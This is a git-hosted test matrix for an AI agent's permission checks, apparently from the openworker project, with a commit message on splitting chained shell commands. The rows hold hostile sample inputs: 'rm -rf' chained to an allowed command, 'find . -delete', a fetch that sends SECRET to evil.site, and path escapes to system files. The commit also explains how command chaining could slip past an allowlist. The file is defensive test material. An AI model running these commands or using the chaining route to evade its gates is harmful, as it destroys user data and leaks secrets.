openworker/tests/corpora/decision_matrix.csv at 6cf2b2540922a658a6c0668de4cc577b89f78c62

mirror of https://github.com/andrewyng/openworker.git synced 2026-09-03 23:03:22 +00:00

Files

T

Devika Verma ab00fe3b55 PR3: split compound commands and check each part independently

The old rule -- any shell operator disqualifies the whole command -- was wrong
in both directions, verified by running it:

  find . -delete                  -> ALLOW  (destructive, no prompt)
  find . -exec rm {} +            -> ALLOW  (destructive, no prompt)
  git status && git diff          -> ask    (two allowed reads, refused)

It judged punctuation rather than danger. `-delete` and `-exec` need no
separator, so a bare `find` prefix auto-ran them; meanwhile two independently
allowed reads were refused for containing `&&`.

Now:
- Constructs whose contents we cannot evaluate -- substitution, redirection,
  variable expansion, grouping -- still disqualify the whole command, because
  the unexamined tail after a prefix match must only ever be arguments.
- Compound commands are split on &&, ||, ;, |, |&, & and newlines, and EVERY
  part must be independently covered by an allowlist entry.
- Parts that run code named in their arguments are never prefix-eligible:
  argument executors (xargs, sudo, timeout, env, docker, npx, ssh...),
  interpreters carrying inline code (python -c, bash -c, node -e), and
  execution/deletion flags (-exec, -execdir, -delete, -ok).
- Matching stays on parsed words, so `git status` covers `git status -s` but
  never `git statusfoo` or a bare `git`.

Splitting is textual and does not respect quoted separators. That is
deliberate: over-splitting yields MORE parts to justify, never fewer, so it
cannot loosen a verdict.

37 new tests including metamorphic cases (spacing, quoting, absolute program
path must not loosen `find . -delete`). Golden matrix: three rows flip as
intended, two added. 164 permission tests green.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 2 (CMD-1/3/4).

2026-08-11 11:43:57 -07:00

4.5 KiB

Raw Blame History

1	id	mode	tool	args	meta	allowed_commands	session_tools	session_commands	standing	auto_allow	allowed_domains	expected	note
2	read-interactive	interactive	read_file	{"path": "a.txt"}								allow	pure local read always runs
3	read-plan	plan	read_file	{"path": "a.txt"}								allow	reads allowed in read-only modes
4	write-interactive	interactive	write_file	{"path": "a.txt", "content": "x"}								ask	write in-root asks
5	write-escape-rel	interactive	write_file	{"path": "../../escape.txt", "content": "x"}								deny	write outside writable root blocked
6	write-escape-abs	interactive	write_file	{"path": "C:/Windows/evil.ini", "content": "x"}								deny	absolute path outside root blocked
7	write-plan	plan	write_file	{"path": "a.txt", "content": "x"}								deny	plan mode is read-only
8	write-auto	auto	write_file	{"path": "a.txt", "content": "x"}								allow	auto allows in-root write
9	write-auto-escape	auto	write_file	{"path": "../../escape.txt", "content": "x"}								deny	auto still path-scopes writes
10	write-custom-autoallow	custom	write_file	{"path": "a.txt", "content": "x"}						write_file		allow	custom mode auto-approves configured tool
11	write-custom-notlisted	custom	write_file	{"path": "a.txt", "content": "x"}								ask	custom mode still asks for unlisted tool
12	shell-interactive	interactive	run_shell	{"command": "pytest -q"}								ask	shell asks by default
13	shell-allowlist-prefix	interactive	run_shell	{"command": "git status -s"}		git status						allow	command matches allowlist prefix
14	shell-allowlist-chained	interactive	run_shell	{"command": "git status && rm -rf ~"}		git status						ask	operator disqualifies the chained command
15	shell-session-command	interactive	run_shell	{"command": "make build"}				make build				allow	exact session command grant
16	shell-plan	plan	run_shell	{"command": "ls"}								deny	plan mode blocks shell
17	shell-auto	auto	run_shell	{"command": "rm -rf /"}								allow	BASELINE-WRONG auto allows any command with no sandbox
18	shell-find-delete	interactive	run_shell	{"command": "find . -delete"}		find						ask	FIXED-PR3 -delete is never prefix-eligible
19	shell-find-exec	interactive	run_shell	{"command": "find . -exec rm {} +"}		find						ask	FIXED-PR3 -exec is never prefix-eligible
20	shell-two-reads	interactive	run_shell	{"command": "git status && git diff"}		git status\|git diff						allow	FIXED-PR3 each part independently allowed
21	shell-chain-unallowed	interactive	run_shell	{"command": "git status && rm -rf ~"}		git status						ask	chaining still cannot smuggle an unallowed part
22	shell-inline-interpreter	interactive	run_shell	{"command": "python -c 'import os'"}		python						ask	FIXED-PR3 inline code is never prefix-eligible
23	connector-read	interactive	gmail_list	{}	read							allow	connector read never gates
24	connector-write	interactive	gmail_send	{}	external							ask	connector write asks
25	connector-always-ignored	interactive	gmail_send	{}	external		gmail_send					ask	session tool grant deliberately ignored for connectors
26	standing-match	interactive	send_message	{"target": "slack:T1/C1", "text": "hi"}	external				send_message slack:T1/C1			allow	standing rule matches the exact target
27	standing-mismatch	interactive	send_message	{"target": "slack:T1/C2", "text": "hi"}	external				send_message slack:T1/C1			ask	standing rule does not cover a different target
28	webfetch-interactive	interactive	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								ask	FIXED-PR1 web_fetch is egress so now asks in interactive
29	webfetch-plan	plan	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								deny	FIXED-PR1 egress is not a read so plan mode blocks it
30	webfetch-auto	auto	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								allow	auto allows egress
31	webfetch-allowed-domain	interactive	web_fetch	{"url": "https://docs.python.org/3/x"}							python.org	allow	egress to a config-allowed domain (subdomain match)
32	webfetch-session-domain	interactive	web_fetch	{"url": "https://api.github.com/x"}								ask	egress to an unlisted domain still asks
33	patch-escape	auto	apply_patch	{"patch": "* Begin Patch\n* Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"}								deny	FIXED-PR1 apply_patch path extracted from blob and scoped even in auto
34	patch-inroot	auto	apply_patch	{"patch": "* Begin Patch\n* Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"}								allow	apply_patch to an in-root path allowed in auto

4.5 KiB Raw Blame History

4.5 KiB

Raw Blame History